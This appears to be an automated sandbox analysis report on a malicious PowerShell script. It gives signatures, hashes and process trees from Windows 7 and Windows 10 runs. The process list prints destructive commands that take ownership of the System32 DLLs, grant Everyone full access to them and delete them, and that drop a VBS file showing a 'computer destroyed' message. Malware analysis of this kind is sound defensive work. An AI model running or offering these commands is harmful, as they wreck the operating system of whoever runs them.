Analysis Overview
SHA256
6d0afcf0e9c77bb643a63c643387a10ff4a9a1cfd77e42b508fbab8e3746ff5e
Threat Level: Likely malicious
The file file01.ps1 was found to be: Likely malicious.
Malicious Activity Summary
Possible privilege escalation attempt
Modifies file permissions
Checks computer location settings
Drops file in System32 directory
Command and Scripting Interpreter: PowerShell
Enumerates physical storage devices
Modifies registry class
Suspicious use of FindShellTrayWindow
Suspicious use of WriteProcessMemory
Suspicious behavior: EnumeratesProcesses
Suspicious use of AdjustPrivilegeToken
MITRE ATT&CK
Enterprise Matrix V15
Analysis: static1
Detonation Overview
Reported
2024-08-09 20:45
Signatures
Analysis: behavioral1
Detonation Overview
Submitted
2024-08-09 20:45
Reported
2024-08-09 20:47
Platform
win7-20240705-en
Max time kernel
118s
Max time network
119s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\mallllllllllll.vbs | C:\Windows\system32\cmd.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file01.ps1
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo msgbox "YOUR COMPUTER HAS BEEN DESTROYED",0+16,"MALWARE IS ATTACKING" >> %windir%\System32\mallllllllllll.vbs"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "start %windir%\System32\mallllllllllll.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Windows\System32\mallllllllllll.vbs"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "takeown /f %windir%\system32\*.dll >nul"
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\system32\*.dll
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "icacls %windir%\system32\*.dll /grant Everyone:(F) >nul"
C:\Windows\system32\icacls.exe
icacls C:\Windows\system32\*.dll /grant Everyone:(F)
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "del /s /q %windir%\system32\*.dll >nul 2>&1"
Network
Files
memory/2044-4-0x000007FEF5C5E000-0x000007FEF5C5F000-memory.dmp
memory/2044-5-0x000000001B610000-0x000000001B8F2000-memory.dmp
memory/2044-7-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp
memory/2044-6-0x0000000002860000-0x0000000002868000-memory.dmp
memory/2044-8-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp
memory/2044-9-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp
memory/2044-10-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp
C:\Windows\System32\mallllllllllll.vbs
| MD5 | cbf0dd164b1db74eeec66e9668f496d7 |
| SHA1 | 544c5a29a1773fb2d51f71ea69e9964eef104438 |
| SHA256 | e79e18ffcd516656ec01b6426bccedc6625440b0e8163bd5541300398a94d94b |
| SHA512 | 2f76c56f8dc1d2eec09016923dac16b1a2db699c5673b5a0e97b1c90182971aa7c671889f5718a777cc3abd386914916050930644ba25fa8eabbf57b4d047c42 |
memory/2044-25-0x000007FEF59A0000-0x000007FEF633D000-memory.dmp
Analysis: behavioral2
Detonation Overview
Submitted
2024-08-09 20:45
Reported
2024-08-09 20:45
Platform
win10v2004-20240802-en
Max time kernel
16s
Max time network
11s
Command Line
Signatures
Possible privilege escalation attempt
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Checks computer location settings
| Description | Indicator | Process | Target |
| Key value queried | \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000\Control Panel\International\Geo\Nation | C:\Windows\system32\cmd.exe | N/A |
Modifies file permissions
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\system32\takeown.exe | N/A |
| N/A | N/A | C:\Windows\system32\icacls.exe | N/A |
Drops file in System32 directory
| Description | Indicator | Process | Target |
| File opened for modification | C:\Windows\System32\mallllllllllll.vbs | C:\Windows\system32\cmd.exe | N/A |
Command and Scripting Interpreter: PowerShell
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Enumerates physical storage devices
Modifies registry class
| Description | Indicator | Process | Target |
| Key created | \REGISTRY\USER\S-1-5-21-1194130065-3471212556-1656947724-1000_Classes\Local Settings | C:\Windows\system32\cmd.exe | N/A |
Suspicious behavior: EnumeratesProcesses
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| N/A | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
Suspicious use of AdjustPrivilegeToken
| Description | Indicator | Process | Target |
| Token: SeDebugPrivilege | N/A | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | N/A |
| Token: SeTakeOwnershipPrivilege | N/A | C:\Windows\system32\takeown.exe | N/A |
Suspicious use of FindShellTrayWindow
| Description | Indicator | Process | Target |
| N/A | N/A | C:\Windows\System32\WScript.exe | N/A |
Suspicious use of WriteProcessMemory
Processes
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\file01.ps1
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "echo msgbox "YOUR COMPUTER HAS BEEN DESTROYED",0+16,"MALWARE IS ATTACKING" >> %windir%\System32\mallllllllllll.vbs"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "start %windir%\System32\mallllllllllll.vbs"
C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Windows\System32\mallllllllllll.vbs"
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "takeown /f %windir%\system32\*.dll >nul"
C:\Windows\system32\takeown.exe
takeown /f C:\Windows\system32\*.dll
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "icacls %windir%\system32\*.dll /grant Everyone:(F) >nul"
C:\Windows\system32\icacls.exe
icacls C:\Windows\system32\*.dll /grant Everyone:(F)
C:\Windows\system32\cmd.exe
"C:\Windows\system32\cmd.exe" /c "del /s /q %windir%\system32\*.dll >nul 2>&1"
C:\Program Files\Mozilla Firefox\private_browsing.exe
"C:\Program Files\Mozilla Firefox\private_browsing.exe"
C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -private-window
C:\Program Files\Mozilla Firefox\firefox.exe
"C:\Program Files\Mozilla Firefox\firefox.exe" -private-window
Network
| Country | Destination | Domain | Proto |
| US | 8.8.8.8:53 | 28.118.140.52.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 73.144.22.2.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 95.221.229.192.in-addr.arpa | udp |
| US | 8.8.8.8:53 | 55.36.223.20.in-addr.arpa | udp |
Files
memory/836-0-0x00007FFE7EB73000-0x00007FFE7EB75000-memory.dmp
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uvfqp3ot.4e0.ps1
| MD5 | d17fe0a3f47be24a6453e9ef58c94641 |
| SHA1 | 6ab83620379fc69f80c0242105ddffd7d98d5d9d |
| SHA256 | 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7 |
| SHA512 | 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82 |
memory/836-1-0x00000239B9CC0000-0x00000239B9CE2000-memory.dmp
memory/836-11-0x00007FFE7EB70000-0x00007FFE7F631000-memory.dmp
memory/836-12-0x00007FFE7EB70000-0x00007FFE7F631000-memory.dmp
C:\Windows\System32\mallllllllllll.vbs
| MD5 | cbf0dd164b1db74eeec66e9668f496d7 |
| SHA1 | 544c5a29a1773fb2d51f71ea69e9964eef104438 |
| SHA256 | e79e18ffcd516656ec01b6426bccedc6625440b0e8163bd5541300398a94d94b |
| SHA512 | 2f76c56f8dc1d2eec09016923dac16b1a2db699c5673b5a0e97b1c90182971aa7c671889f5718a777cc3abd386914916050930644ba25fa8eabbf57b4d047c42 |
memory/836-18-0x00007FFE7EB70000-0x00007FFE7F631000-memory.dmp